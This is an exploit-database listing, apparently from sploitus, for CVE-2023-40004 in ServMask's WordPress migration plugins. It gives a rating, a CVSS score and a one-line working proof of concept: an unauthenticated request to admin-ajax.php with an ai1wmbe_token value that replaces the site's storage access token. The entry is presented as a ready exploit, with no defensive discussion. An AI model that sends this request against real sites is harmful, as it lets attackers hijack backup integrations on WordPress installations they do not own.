Exploit for Multiple Plugins from ServMask - Unauthenticated Access Token Update CVE-2023-40004

Name: Exploit for Multiple Plugins from ServMask - Unauthenticated Access Token Update CVE-2023-40004
Rating: 5 (66 reviews)

2023-08-31 | CVSS 6.7

## https://sploitus.com/exploit?id=WPEX-ID:637BBD1D-2BF2-470E-8D19-BD48A2280530
With the All-in-One WP Migration Box Extension installed, open the below URL as unauthenticated:

https://example.com/wp-admin/admin-ajax.php?ai1wmbe_token=AAAA